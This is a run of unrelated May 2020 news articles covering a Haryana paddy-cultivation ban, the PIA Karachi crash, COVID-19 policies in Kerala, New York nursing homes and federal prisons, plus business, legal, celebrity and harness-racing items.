"How can you prevent farmers from cultivating paddy on their own land and threaten to punish them by denying MSP for paddy and other due benefits in case they still choose to grow this crop," Surjewala asked the state government.

Launching a scathing attack, Surjewala said the coalition government was "punishing" the farmers of northern Haryana in the guise of "Mera Pani Meri Virasat scheme".

"BJP-JJP government's order to ban paddy cultivation in Shahabad,Pipli, Babain, Ismailabad,Siwan, Guhla and various blocks of the state is draconian and not acceptable to the farmers," he added.

"It is more shocking that the MLAs, MPs of BJP-JJP are meekly watching their own government deprive thousands of farmers of paddy cultivation on about 4.5 lakh acres of their ancestral land in Haryana without offering them a better farming option," Surjewala claimed.

He said all ministers, MP and MLAs should oppose the order of the state government and if they cannot protect farmers, rice millers and traders, then they have lost the moral right as people's representative and should tender their resignation.

Surjewala alleged that the crop diversification scheme by the Khattar government was a conspiracy to eventually stop the procurement of paddy at Minimum Support Price (MSP) by discouraging a large number of farmers from cultivating the crop.

"Under the new autocratic order and scheme brought out by the Khattar government, they now want farmers in eight blocks which have been identified and 19 blocks in total to not cultivate paddy at all and want to punish the farmers by denying them MSP for paddy in case they still choose to grow this crop.

"They also want to deny farmers in 26 other blocks the right to grow paddy on Panchayati land. This is despite the fact that state government's another (crop diversification scheme) ''Jal hi Jeevan Hai'' scheme, launched last year, was surreptitiously closed and put under the table," he added.

Notably, under the 'Mera Pani Meri Virasat' scheme, the farmers have to diversify at least 50 per cent of their cultivated paddy area by growing alternate crops like maize, cotton, bajra and pulses in the 19 blocks where ground water level has depleted to 40 metres.

For these blocks, farmers will not be permitted to cultivate paddy in any areas where paddy was grown last year and they will be given incentive of Rs 7,000 per acre to switch over to other crops.

Besides, in agriculture land of Gram Panchayats in 26 blocks where ground water level has depleted to 35 metres the Panchayat will not permit paddy growing in their lands.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Pakistans prime minister, Imran Khan, has promised an investigation after a passenger plane with 98 people onboard crashed near Karachi, with dozens believed to have been killed.

The Pakistan International Airlines (PIA) flight PK8303 was on a routine domestic service from Lahore to Karachi, and was almost at the end of the 90-minute flight when it crashed on the approach to Karachis Jinnah International Airport.

The mayor of Karachi, Wasim Akhtar, told the Associated Press all passengers and crew onboard the Airbus A320 aircraft had been killed, but civil aviation officials said at least two people survived.

Zafar Mahmood, the head of the Bank of Punjab, was one of the two people who survived the crash, a Sindh regional government spokesman said in a statement.

The prime minister said he was shocked and saddened by the PIA crash and pledged that an immediate inquiry will be instituted.

Pakistani people arrive at the site of a passenger plane crash in Karachi, Pakistan (Anadolu Agency via Getty Images)

According to the state television channel PTV, the plane came down in a densely populated area near the airport called Model Colony.

Footage on local TV news channels shows a large number of people gathered near the site of crash, as well as some damaged houses.

Rescue workers are evacuating residents of the area. But the narrow streets make it difficult for ambulances and fire vehicles to reach the crash site.

Dr Seemi Jamali of Jinnah Hospital told The Independent that six injured people have been brought to hospital. The injured are said to be residents of the area where the plane crashed. Ms Jamali said medical resources are already stretched due to the effects of Covid-19.

Police arrive at the scene (Anadolu Agency via Getty Images)

The army is sending a specialist search and rescue team from Rawalpindi, according to ISPR, the media wing of the Pakistan armed forces.

A PIA official has said that in the last conversation with the control tower, the pilot talked about technical problem including the loss of at least one engine.

The control tower told him that two runways were available for him to land. The airlines chairman is reported to have said the pilot told air-traffic controllers of a problem with the landing gear.

PIA appears to have suspended its website. The airline has set up a counter at both Karachi airport and Allama Iqbak International Airport in Lahore for families of the passengers.

The national airline grounded flights on 29 March because of the coronavirus pandemic. It began limited services again on 16 May.

PIA has suffered two other fatal events in the past six years. In 2014, one passenger died when an Airbus A310 from Riyadh in Saudi Arabia was struck by bullets on the approach to Peshawar in Pakistan.

In December 2016, a domestic flight from Chitral to Islamabad crashed on a hillside with the loss of all 47 passengers and crew on board.

The aircraft involved in the crash was nearly 16 years old. It entered service in September 2004 for China Eastern, and joined the PIA fleet a decade later.

The Airbus A320 has been a mainstay for short-haul flights for more than three decades. It has an excellent safety record.
Domestic flyers arriving in Kerala must undergo strict home quarantine as per the lockdown guidelines, because of increasing COVID-19 cases in the state, Health Minister KK Shailaja said on Friday.

"Even if the domestic flight services resume, those coming in must remain under strict home quarantine as per the guidelines.

There is no change in that. Most people will be coming from the major hotspots of the country," she said.

Also read: Domestic flights to resume on Monday: What to keep in mind when you go to airport?

Announcing the resumption of domestic flight services from May 25, the Civil Aviation Ministry had indicated on Thursday that it was not in favour of quarantining passengers on short-haul flights.

However, the Assam government has made it mandatory for all air passengers coming to that state to stay in quarantine for 14 days.

Apart from the health department and the local self-government institutions, Shailaja said the people of Kerala must also ensure that every returnee to the state remained under strict home quarantine to curb the spread of the disease.

"We need to strictly keep under observation all those who come from outside the state and make sure that they do not come into contact with others including their family members.

They should effectively remain under room quarantine at their residence," she said.

The state reported 690 cases after 24 more tested positive for coronavirus on Thursday.

As of now, over 80,000 people are under observation across the state.

Also read: Domestic flights to resume: No over-the-counter check-in; only web check-in allowed

On the death of a 73-year-old woman, who came from Mumbai, on Thursday, the minister said, "Khadijakuttycame from Mumbai along with three others. She alighted at Chavakkad. Her son who picked her up from there took her to the govt hospital as she was tired. She was given good care."

"However, as her condition worsened, had taken a decision to sent her to the medical college. Her swab test was taken and she was tested positive, but she passed away," Shailaja said.

The minister sounded a word of caution that there would be an increase in cases in the coming days as the influx of people coming from abroad and other states would continue.

"We cannot prevent anyone from coming. They are our brothers and were suffering there. We need to save those who come here and also those who are here," the Minister said.

Shailaja said the southern state had successfully managed the first two phases of the viral outbreak in January and March.

"There were three deaths. But we managed to save the rest of the people including a 93-year-old man," she said.

The Minister further said the situation in the state changed after flight services resumed and the border roads were re-opened after May 7.

After May 7, when the flight restrictions were lifted and people from other states started coming in, we reported 188 cases.

At least 90 per cent of the positive cases came from outside and the rest are their contacts," she noted.

Also read: Domestic flights rules: Staying in a containment zone? You're not allowed to fly
Insigniam is a valuable partner to Big Think and we look forward to ongoing collaborations, said Victoria Montgomery Brown, CEO of Big Think, the educational webinar series for individuals and organizations.

Insigniams co-founding partner, Nathan Owen Rosenberg, interviewed Brent Gleeson, a Navy SEAL combat veteran, in a live session led by Big Think. The pair discussed being resilient in times of hardship and how characters can be revealed and strengthened by adversity.

Brent Gleeson is a Navy SEAL combat veteran who has applied his discipline and lessons from the battlefield to become an award-winning entrepreneur, bestselling author, and recognized speaker on topics such as leadership, building high-performance teams, organizational culture and transformation, and resilience. Taking these lessons in the business world, Mr. Gleeson founded his leadership and management consulting firm, TakingPoint Leadership.

Nathan Owen Rosenberg is a founding partner of Insigniam, where he has led organizational transformations for breakthrough business results with more than 70,000 people. Prior to founding Insigniam, Mr. Rosenberg served as chief executive of four corporations. He too has a background in military service, serving as an officer and aviation in the United States Navy as a young man. He later served as the executive support officer to the Secretary of Defense and national security advisor to the U.S. Senate Majority Leader.

Insigniam is a valuable partner to Big Think and we look forward to ongoing collaborations, said Victoria Montgomery Brown, CEO of Big Think, the educational webinar series for individuals and organizations.

For over 30 years, Insigniam has consulted with large, complex organizations in generating breakthroughs in strategic results: top-line growth, strategy implementation, improving profitability, strategic innovation, and cultural transformation. Insigniam pioneered the fields of organizational transformation and strategy innovation by marrying breakthrough performance and innovation, creating services and solutions that are unparalleled in their potency to quickly create dramatic growth and market leadership. Clients have documented, in aggregate, more than 50x ROI in results considered critical and essential to the success of their enterprises. Offices are located in Southern California, Paris, and Philadelphia.
A former senior Irish Army officer has claimed two serving colleagues have been completely abandoned after the Department of Defence was unable to say what progress it's making in trying to airlift them out of an increasingly volatile Democratic Republic of Congo (DRC).

Other nations have removed their troops from the Goma area where the two Irish officers are serving, because locals are blaming UN soldiers for the spread of Covid-19. In addition, fighting has broken out between DRC government forces and insurgents. This has led to a refugee crisis and an estimated 200,000 have fled their homes as a result.

Nearly a week ago. the Department said it was considering chartering a jet to bring the male Lieutenant Colonel and female Captain back home.

The Irish Examiner asked what progress had been made on chartering a plane, if diplomatic clearances had been obtained to get the two home and if an approximate date for their extraction from the DRC was available. The Department of Defence declined to answer any of the questions.

In the meantime, it's understood they are among only a handful of UN personnel left in Goma, as the British, Canadians and Swedes have now withdrawn all their mission forces from that area. They are also living in a flat, not in the local UN compound, which leaves them even more vulnerable.

Security sources have said they're increasingly concerned about the welfare of the two Irish officers. One's tour of duty was due to finish on March 30 and the other April 14.

The Air Corps had previously offered to fly the government jet to get them out.

However, the Department of Defence claimed that wasn't practical as its fuel range meant it would involve landing in seven different airports and overnighting at least twice.

Dr Cathal Berry TD, a former second-in-charge of the elite Army Ranger Wing (ARW), said Ireland was too reliant on other countries to react on its behalf in similar situations.

He pointed out that the Spanish and Germans had helped get Irish troops out of Mali in the past.

Dr Berry said four years ago the government sold off its Gulfstream jet for a pittance and as a result the country doesn't have a jet capable of quickly extracting its soldiers or citizens from volatile areas like the DRC.

There are weapons and ammunition there (with the officers). You can't take them back on a civilian (chartered) flight. There's a reason why every other European nation has military air transport. In our case it's like a farmer not having a tractor, Dr Berry said.
Celebrity fitness guru Michelle Bridges appeared to take a subtle swipe at her ex-partner Steve 'Commando' Willis on Thursday.

The former Biggest Loser trainer, 49, left a cryptic comment on Instagram after sharing a photo of herself bonding with her four-year-old son, Axel.

A follower had noted how good Michelle was looking, and the mother-of-one said it was because she'd 'cut' negative people from her life.

Bad blood: Michelle Bridges appeared to take a subtle swipe at her ex-partner Steve 'Commando' Willis on Thursday. The former Biggest Loser trainer, 49, left a cryptic comment on Instagram after sharing this photo of herself bonding with her four-year-old son, Axel

'Can I say that as time has gone on this year you're looking more and more contented and calm. The stress has gone from your face. Just lovely,' the fan wrote.

Michelle was quick to respond - and her comment could be seen as a thinly-veiled reference to her split from Steve late last year.

'It's amazing what can happen when you cut stuff which has been holding you back. It's a release,' she wrote.

Telling comment: A follower had noted how good Michelle was looking, and the mother-of-one said it was because she'd 'cut' people from her life who were holding her back

Splitsville: Steve and Michelle quietly split in December, but their break-up didn't make headlines until the following month, when Michelle was charged with mid-range drink driving on Australia Day. Pictured on September 26, 2014 in Sydney

Steve and Michelle quietly split in December, but their break-up didn't make headlines until the following month, when Michelle was charged with mid-range drink driving on Australia Day.

She blew 0.086 after being pulled over in her Range Rover at about 11.25am on January 26. Her son was in the car at the time.

After being arrested, she released a statement claiming she was going through a 'very difficult time' following her split from Steve, 43.

Difficult year: After being arrested on January 26, Michelle released a statement claiming she was going through a 'very difficult time' following her split from Steve. Pictured in July 2017

Michelle was later fined $750 and had her licence disqualified for three months, after pleading guilty in a Sydney court.

The former couple met on set of The Biggest Loser in 2007, at a time when they were both in relationships with other people.

They began dating in 2015, after splitting from their respective partners, and welcomed Axel in December that year.
[May 21, 2020] CWCI Examines the Integration of COVID-19 Presumptions Into California Workers' Comp

As lawmakers debate issues surrounding the COVID-19 pandemic, including the role that workers' compensation systems in California and elsewhere should play in responding to the virus and the potential impact of COVID-19 presumptions of compensability, the California Workers' Compensation Institute (CWCI) has issued a white paper that looks at the historic role of workers' compensation presumptions, the current and proposed COVID-19 presumptions and results of a survey detailing characteristics and outcomes of initial COVID-19 claims. On May 6, Governor Newsom issued Executive Order N-62-20 creating a disputable presumption of compensability for COVID-19 as it relates to California workers directed by their employers to work outside the home. The order applies to work performed on or after March 19, 2020 and unless extended, will remain in place until July 5, 2020. Beyond that, a legislative approach has been proposed in SB 1159 (Hill, Daly) which would create a disputable COVID-19 presumption with an extended timeframe for first responders and "critical" workers, a group that has yet to be specifically defined, but that would include public or private sector employees working to combat the spread of the virus. The CWCI analysis compares the differences between the current and proposed presumptions, but notes that both shift the traditional burden of proof found in workers' compensation by no longer requiring employees to prove the illness is work-related, instead requiring employers to accept compensability for a COVID-19 claim unless they can overwhelmingly prove it is not work-related. Although COVID-19 is new to workers' compensation, the analysis also reviews existing precedents and policies regarding presumptions that policymakers should consider in evaluating the potential impacts of modifying the existing workers' compensation legal architecture in regard to compensability and coverage.



The white paper also adds real-world perspective to advance the presumption debate by providing results of a survey of 28 insurer and self-insured CWCI members that encompassed 1,077 California workers' compensation COVID-19 claims filed before April 30, a week before the governor's Order granted the disputable presumption. Among key results, the survey found that 35% of the COVID-19 claims in the study sample were denied, but 7 out of 10 workers whose claims were denied tested negative for the virus, with the balance of the denials made after it was found that the employee had not been exposed at work, or for other reasons including the lack of a diagnosis, lack of symptoms, or that the employee had been working at home or refused to take a COVID-19 test. CWCI has released the white paper as a Report to the Industry, "Integrating COVID-19 Presumptions into the California Workers' Compensation System." The free report is available on the CWCI website, www.cwci.org/research.html.

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When Shaanxi Northwest New Technology Industry Company Limited (SEHK:8258) released its most recent earnings update (31 March 2020), I compared it against two factor: its historical earnings track record, and the performance of its industry peers on average. Being able to interpret how well Shaanxi Northwest New Technology Industry has done so far requires weighing its performance against a benchmark, rather than looking at a standalone number at a point in time. In this article, I've summarized the key takeaways on how I see 8258 has performed.

Check out our latest analysis for Shaanxi Northwest New Technology Industry

Was 8258's recent earnings decline worse than the long-term trend and the industry?

8258 recently turned a profit of CN9.8m (most recent trailing twelve-months) compared to its average loss of -CN2.4m over the past five years.

SEHK:8258 Income Statement May 22nd 2020

In terms of returns from investment, Shaanxi Northwest New Technology Industry has fallen short of achieving a 20% return on equity (ROE), recording 5.8% instead. Furthermore, its return on assets (ROA) of 3.1% is below the HK Chemicals industry of 6.6%, indicating Shaanxi Northwest New Technology Industry's are utilized less efficiently. However, its return on capital (ROC), which also accounts for Shaanxi Northwest New Technology Industrys debt level, has increased over the past 3 years from 1.8% to 6.4%. This correlates with a decrease in debt holding, with debt-to-equity ratio declining from 3.3% to 1.8% over the past 5 years.

What does this mean?

Shaanxi Northwest New Technology Industry's track record can be a valuable insight into its earnings performance, but it certainly doesn't tell the whole story. Companies that are profitable, but have unpredictable earnings, can have many factors affecting its business. You should continue to research Shaanxi Northwest New Technology Industry to get a better picture of the stock by looking at:

Financial Health: Are 8258s operations financially sustainable? Balance sheets can be hard to analyze, which is why weve done it for you. Check out our financial health checks here. Other High-Performing Stocks: Are there other stocks that provide better prospects with proven track records? Explore our free list of these great stocks here.

NB: Figures in this article are calculated using data from the trailing twelve months from 31 March 2020. This may not be consistent with full year annual report figures.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
NEW YORK - More than 4,300 recovering coronavirus patients were sent to New Yorks already vulnerable nursing homes under a controversial state directive that was ultimately scrapped amid criticisms it was accelerating the nations deadliest outbreaks, according to a count by The Associated Press.

AP compiled its own tally to find out how many COVID-19 patients were discharged from hospitals to nursing homes under the March 25 directive after New Yorks Health Department declined to release its internal survey conducted two weeks ago. It says it is still verifying data that was incomplete.

Whatever the full number, nursing home administrators, residents advocates and relatives say it has added up to a big and indefensible problem for facilities that even Gov. Andrew Cuomo  the main proponent of the policy  called the optimum feeding ground for this virus.

It was the single dumbest decision anyone could make if they wanted to kill people, Daniel Arbeeny said of the directive, which prompted him to pull his 88-year-old father out of a Brooklyn nursing home where more than 50 people have died. His father later died of COVID-19 at home.

This isnt rocket science, Arbeeny said. We knew the most vulnerable -- the elderly and compromised -- are in nursing homes and rehab centres.

Told of the APs tally, the Health Department said late Thursday it cant comment on data we havent had a chance to review, particularly while were still validating our own comprehensive survey of nursing homes admission and re-admission data in the middle of responding to this global pandemic.

Cuomo, a Democrat, on May 10 reversed the directive, which had been intended to help free up hospital beds for the sickest patients as cases surged. But he continued to defend it this week, saying he didnt believe it contributed to the more than 5,800 nursing and adult care facility deaths in New York  more than in any other state  and that homes should have spoken up if it was a problem.

Any nursing home could just say, I cant handle a COVID person in my facility, he said, although the March 25 order didnt specify how homes could refuse, saying that no resident shall be denied re-admission or admission to the (nursing home) solely based on confirmed or suspected COVID-19.

Over a month later, on April 29, the Health Department clarified that homes should not take any new residents if they were unable to meet their needs, including a checklist of standards for coronavirus care and prevention.

In the meantime, some nursing homes felt obligated and overwhelmed.

Gurwin Jewish, a 460-bed home on Long Island, seemed well-prepared for the coronavirus in early March, with movable walls to seal off hallways for the infected. But after the state order, a trickle of recovering COVID-19 patients from local hospitals turned into a flood of 58 people.

More walls were put up, but other residents nonetheless began falling sick and dying. In the end, 47 Gurwin residents died of confirmed or suspected COVID-19.

The state order put staff and residents at great risk, CEO Stuart Almer said. We cant draw a straight line from bringing in someone positive to someone catching the disease, but were talking about elderly, fragile and vulnerable residents.

The Society for Post-Acute and Long-Term Care Medicine, known as AMDA, had warned from the beginning that Cuomos order admitting infected patients posed a clear and present danger to nursing home residents. Now, Jeffrey N. Nichols, who serves on the executive committee of the group, said the effect of that order was to contribute to 5,000 deaths.

Nationally, over 35,500 people have died from coronavirus outbreaks at nursing homes and long-term care facilities, about a third of the overall death toll, according to the APs running tally.

Cuomo has deflected criticism over the nursing home directive by saying it stemmed from Trump administration guidance. Still, few states went as far as New York and neighbouring New Jersey, which has the second-most care home deaths, in discharging hospitalized coronavirus patients to nursing homes. California followed suit but loosened its requirement following intense criticism.

Some states went in the opposite direction. Louisiana barred hospitals for 30 days from sending coronavirus patients to nursing homes with some exceptions. And while Louisiana reported about 1,000 coronavirus-related nursing home deaths, far fewer than New York, that was 40% of Louisianas statewide death toll, a higher proportion than in New York.

New Yorks Health Department told the AP May 8 it was not tracking how many recovering COVID-19 patients were taken into nursing homes under the order. But it was at that very moment surveying administrators of the states over 1,150 nursing homes and long-term care facilities on just that question.

Those survey results have yet to be released. But regardless, the Health Department said, the survey had no bearing on Cuomos announcement May 10 that were just not going to send a person who is positive to a nursing home after a hospital visit.

Cuomo said such patients would be accommodated elsewhere, such as sites originally set up as temporary hospitals.

To some, the governors reversal came too late.

It infected a great number of people in nursing homes who had no business getting infected, including short-term residents who were there for rehabilitation after surgeries, said John Dalli, a New York attorney who specializes in nursing home cases.

To be sure, incoming residents werent the only possible source of infection. Some homes believe a bigger contribution came from staffers and residents unaware they had the virus. And some say they would have taken on COVID-19 patients regardless of the states order.

There were nursing homes that realized that there was a void, said Sarah Colomello, a spokeswoman for Thompson House in Rhinebeck. The 100-bed facility set up an isolated unit where affiliated hospitals nearby have sent at least 21 patients. It has reported no deaths.

Cuomo administration officials say the original directive came when the governor feared the hospital system would be overwhelmed and was focused on creating as much hospital space as possible.

That was welcomed by one of the many hospital systems and nursing homes surveyed for APs count. Northwell Health said three of its medical centres were so overtaxed at one point they had to put some ICU patients in hallways. To relieve pressure, the company eventually sent more than 1,700 COVID-19 patients to nursing homes.

Suffice it say, our hospitals were under stress, spokesman Terence Lynam said.

___

Associated Press investigative researcher Randy Herschaft contributed to this report.
When Gerald Bostock went to Washington last fall to ask the Supreme Court to rule that it was unlawful for him to be fired because he's gay, there was no global pandemic.

Since then, the world  and his new job as a mental health counselor  have been flipped upside down by Covid-19. But Bostock is still waiting on the justices to say whether he and millions of other LGBTQ workers are protected by federal anti-discrimination laws.

"This crisis is going to end. But I sincerely hope that moving forward from this, everyone realizes this is a reality for the LGBT community every day we go to work," Bostock said in a recent interview. "Are we going to lose our jobs because of who we are, who we love, how we identify?"

Bostock's is just one of several Supreme Court cases expected to be resolved in the coming weeks with major implications for U.S. politics and the economy. The decisions are key to the future of not just LGBTQ workers but also hundreds of thousands of young migrants and their family members, women seeking abortions, and the president himself, who has fought vigorously to keep his financial records private.

The outcomes, coming in an election year, could have an impact on the race between President Donald Trump, who has championed the confirmation of nearly 200 of his conservative judicial picks, and former Vice President Joe Biden, who has pledged to nominate judges of a different mold.

The decisions are also likely to bring to the fore the high stakes of November's elections for the president and Senate  the body that confirms federal judicial appointments, including justices. With just six months before Election Day, the GOP hold on the Senate has recently shown signs of weakness, suggesting that Democrats may have a chance at seizing control of the chamber.

While the White House and Congress are focused on the next coronavirus stimulus package, decisions from the court over the next few weeks could also shape the political landscape for years to come.

Some of the questions facing the justices go to the heart of key Trump administration priorities and could inflame the battle between Trump and Biden.

Read more about the cases:

LGBT workers head to Supreme Court for blockbuster discrimination cases

Obama's border enforcer is fighting Trump on DACA at the Supreme Court

The Supreme Court just set up an election year fight over abortion

Justices appear divided in arguments over Trump tax records

For instance, in one case before the court, Trump's Justice Department has asked the justices to allow him to end the Obama-era immigration program known as Deferred Action for Childhood Arrivals, or DACA. The program shields hundreds of thousands of young migrants known as "Dreamers" from deportation and allows them to receive work permits.

Lower courts in California, New York and the District of Columbia have blocked Trump from terminating the program. He has claimed that President Barack Obama never had the authority to implement it in the first place.

In a twist, the challenge to the Trump administration came from Janet Napolitano, Obama's Department of Homeland Security secretary  whom Biden once said should be on the Supreme Court herself. (He has since said he will nominate a black woman.)
NORWALK  The former owner of a day care center where a 4-month-old baby died in 2016 has been charged with five felony counts of risk of injury to a minor.

Christine Limone, 50, of Norwalk, turned herself in last week at the state police Troop G in Bridgeport. The arrest follows an investigation by Detective Christopher Allegro of the state police Western District Major Crime Squad into the Oct. 5, 2016 death.

Details of the investigation were not immediately released and the arrest warrant has been sealed for 14 days.

Limone, who is the daughter of Norwalk Mayor Harry Rilling, was released after signing a promise to appear in court. She is scheduled to be arraigned in state Superior Court in Norwalk on June 22.

We plan a rigorous defense of the charges and want to see what the states evidence is, Limones defense attorney, Frank Riccio, said Thursday. I have reviewed the warrant and having done so I believe there is a defense to the charges that will be pursued in court.

Riccio said he believed the case will be moved to the Stamford courthouse, not because of the seriousness of the charges, but because Limones father is Norwalks mayor.

Rilling said he was referring all inquires about his daughters case to Riccio.

Her case will proceed through the court system just like any other person, he said.

The death of the infant, Corinne Magda, occurred on Oct. 5, 2016. The states chief medical examiner later determined it was a sudden unexpected infant death

Norwalk police requested that the state polices Western District Major Crime Squad take over the case. Rilling was elected mayor in 2013 after serving 17 years as police chief.

Soon after the babys death, Limone surrendered her license to run the day care, called Pack n Play, which she ran out of her Hunters Lane home.

Limone had twice been cited by inspectors from the state Office of Early Childhood in March and May 2016. At a March inspection that year, the facility was found to be overcapacity, and during an unannounced re-inspection in May 2016, a state official said, Limone slammed doors and directed obscenities at the inspector.

jnickerson@stamfordadvocate.com
EDMONTON - Doctors at Alberta Health Services say people using hand sanitizer when they are out shouldn't leave it in their cars for too long because it could lead to a fire.

Hey there, time traveller!

This article was published 22/5/2020 (607 days ago), so information in it may no longer be current.

A man dispenses hand sanitizer in a shopping mall in the Montreal borough of Pointe-Claire, Saturday, March 14, 2020, as COVID-19 cases rise in Canada and around the world. Doctors at Alberta Health Services say people using hand sanitizer when they are out shouldn't leave it in their car for too long because it could lead to a fire. THE CANADIAN PRESS/Graham Hughes

EDMONTON - Doctors at Alberta Health Services say people using hand sanitizer when they are out shouldn't leave it in their cars for too long because it could lead to a fire.

The advice comes in a daily COVID-19 newsletter distributed to physicians, volunteers and staff by AHS president Dr. Verna Yiu and senior medical health officer Dr. Laura McDougall.

They said handwashing with soap and warm water is still the best way to prevent the spread of COVID-19, but they noted that's not always practical when outside the home or in a workplace.

"As such, many people are using hand sanitizer products as an alternative to hand-washing, when they are out and about," Yiu and McDougall wrote in Thursday's newsletter.

With hand sanitizer being in short supply, many breweries, distilleries and community-based companies have started making their own with high alcohol content, which they said should be between 60 and 90 per cent.

Yiu and McDougall said not to store any hand sanitizer in your car for long periods of time.

"With extended exposure to high temperatures, the alcohol in the hand sanitizer will eventually evaporate, causing it to lose its efficacy," they wrote. "Additionally, there is a potential fire risk to storing hand sanitizer in your car.

"In extreme heat, it can ignite due to its high alcohol content."

A spokesman with AHS said he doesn't know of any injuries due to hand sanitizer fires in Alberta, noting it's just a general warning from the doctors.

There have, however, been cases cited in medical journals  including one from 2011 of a health-care worker who was burned when she lit a cigarette after using hand sanitizer.

The National Fire Protection Association in the United States also issued a warning in mid-April about the possibility, although it noted there must be an ignition source for a fire to occur. It said spontaneous combustion is highly unlikely unless a vehicle were to reach extreme temperatures.

The chief fire marshal in Lethbridge, a city in southern Alberta, added his voice to the warning Friday.

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"While hand sanitizer is great resource to protect against the transmission of COVID-19, there is an increased fire risk," wrote Heath Wright. "Alcohol-based hand sanitizers have a very low flashpoint (temperature at which its vapours ignite if given an ignition source) due to the percentage of alcohol required in these products.

"The flashpoint of hand sanitizers is approximately 20 degrees Celsius."

He suggested hand sanitizers be stored in a cool, dry place.

Health officials in Alberta also recommend people not ingest hand sanitizer and keep it out of the reach of children.

This report by The Canadian Press was first published on May 22, 2020

Note to readers: This is a corrected story. Previous versions misspelled name as Yui.
Before the COVID-19 pandemic shut down harness racing March 16 at The Meadows Racetrack & Casino, veteran trainer Randy Bendis had 25 horses in his stable. Thats down to 23, as Bendis was forced to sell two mares to raise cash to pay his bills and avoid laying off staff.

Now, that number may decline even further as racing venues in states other than Pennsylvania are reopening, forcing Bendis and his owners to consider moving their horses outside the Commonwealth for a chance to earn money. Not only would that reduce income for Pennsylvania horsemen, horsewomen and their supply chains, but a diminished horse population also could make it harder for The Meadows and other Keystone State tracks to assemble full, quality fields when racing does resume.

All harness racing in North America shut down in mid-to-late March and has been dark since. But because trainers, grooms, security personnel and track and facilities maintenance staff still report to work each day to feed and exercise horses, the vast majority of people needed to stage live racing already are on the backside and following stringent CDC safety measures. Live racing would require only a few more people, including state judges and a broadcast production crew, action that would have negligible impact on public health.

States have begun to realize this and have announced reopening schedules for their racetracks. Ohio venues will resume racing today, while the states of New York, Delaware, Indiana and Minnesota, as well as the Province of Ontario, have announced June reopening dates. (All venues will race without spectators.) If Pennsylvania doesnt take a similar step soon, Bendis says hell be forced to ship some of his horses to jurisdictions where they can earn purses to offset ongoing expenses.

If we dont get any news here, two of my horses will go to Hoosier Park (Indiana), four to Ohio and two more to Yonkers (New York), says Bendis, who owns a piece of most of the horses in his stable. My partners have suggested sending their horses to trainers at jurisdictions that are racing, and I really cant argue with them.

Bendis indicates he knows of horsemen who have taken part-time work delivering groceries and driving for Uber to keep some cash coming in. Things havent reached that point yet for trainer Sarah Andrews, but she can see a time when they might.

At the start of this week, Andrews stable at The Meadows had nine horses. That has changed.

I sent one to Indiana on Monday, she says. My owner has horses in four different states, so theres no reason not to move them to states where they can race. I cant hold my owners hostage.

What really hurts: the Indiana-bound horse is Statham N, a fast-class pacer almost certain to turn a healthy profit this year. If Pennsylvania racing doesnt reopen soon, Andrews and her staff may not see any of it.

Im hoping my owners will send their horses right back here once we start racing, she says. If they dont, my stable will slowly disappear.

(MSOA)
This article was published in partnership with The Marshall Project, a nonprofit news organization covering the U.S. criminal justice system. Sign up for their newsletter, or follow The Marshall Project on Facebook or Twitter.

Michael Cohen is just the latest well-connected federal prisoner to be sent home early because of the coronavirus, even though he has served only a third of his sentence  well shy of the 50 percent threshold federal officials often cite in denying requests for early release. By contrast, prisoners like Eddie Brown, an Oklahoma man who has served a bigger portion of his sentence than Cohen and also cites health problems, remain behind bars, raising questions about the Bureau of Prisons' opaque process and its fairness.

New data show that Cohen, along with former Trump campaign manager Paul Manafort, released last week, are among the relatively few federal prisoners to win early release in the seven weeks since Attorney General William Barr cited the pandemic in ordering more federal prisoners to be let out. During that time, the number of people in home confinement increased by only 2,578, about 1.5 percent of the nearly 171,000 people in federal prisons and halfway houses when Barr issued his memo.

Image: Michael Cohen arrives to testify before the House Intelligence Committee at the Capitol on March 6, 2019. (Chip Somodevilla / Getty Images)

Cohen, President Donald Trumps former personal lawyer, was sentenced to three years in prison, and Manafort to seven and a half years. Manafort has served less than a third of his sentence, so he, too, did not meet the federal criteria for early release, although he and Cohen do have health conditions that put them at added risk if they contract the virus.

Brown, who is in prison in Tennessee for selling meth, has also cited his health in seeking emergency release, said his daughter, Amanda Bolding. Brown has served six years of his 15-year sentence, prison records show. But like thousands of other prisoners, he cant afford the kind of help Cohen and Manafort had that has proven crucial for many of the releases so far: a lawyer.

Story continues

Image: Paul Manafort arrives for his arraignment at Manhattan Criminal Court in New York on June 27, 2019. (Yana Paskova / Getty Images file)

Groups and relatives advocating for the release of prisoners at risk from the virus say they dont begrudge well-connected people achieving that goal. The problem, they said, is that many other people who could meet Barrs criteria languish in prison, without legal help, unable to understand the complex process or lacking connections to help them as the pandemic spreads. As of Wednesday, the official tally had 59 federal prisoners dying from COVID-19 and more than 4,600 testing positive, though health experts believe thats almost certainly an undercount.

Melissa Ketter, a Minnesota woman whose daughter has served just over half of her sentence for a federal nonviolent drug crime, said she almost cried when she heard about Cohens release.

"I'm happy for him dont get me wrong  but at the same time it was like, the rich white guy gets out early. I dont wish for bad things to happen to these people, but its like can everybody be treated the same?" Ketter said.

The release process has been marked by foot-dragging and confusion, critics say, and a federal judge in a ruling Tuesday labeled the results paltry.

The Bureau of Prisons wont release data, wont answer questions and keeps shifting policy on who qualifies for release, according to Georgetown Law professor Shon Hopwood, an expert on criminal justice reform.

The Bureau of Prisons is operating all behind closed doors, and thats a big part of the problem, Hopwood said.

Lawyers for Cohen and Manafort did not return messages seeking comment.

The Bureau of Prisons and the Department of Justice declined to comment about the release process and specific cases. The bureau has said it prioritizes prisoners who have served at least 50 percent of their sentences, or who have 18 months or less left and have served 25 percent of their sentences, but that is not an iron-clad requirement. The time-served threshold was not mentioned in Barrs two memos.

There are two routes for at-risk federal prisoners seeking to escape the virus: finishing their sentence at home, known as home confinement, or being let out on compassionate release. The key distinction is that the Bureau of Prisons alone determines who goes to home confinement, with no appeal process. Prisoners can ask a judge for compassionate release.

Cohen and Manafort are hardly the only politically connected people to be released despite apparently not fully meeting the federal criteria. Former U.S. Rep. Corrine Brown, of Florida, who was convicted of fraud, was released last month, short of the halfway mark in her sentence. She also had a lawyer working on her behalf, who emphasized her numerous health issues in seeking her release. Browns lawyer declined to comment.

Full coverage of the coronavirus outbreak

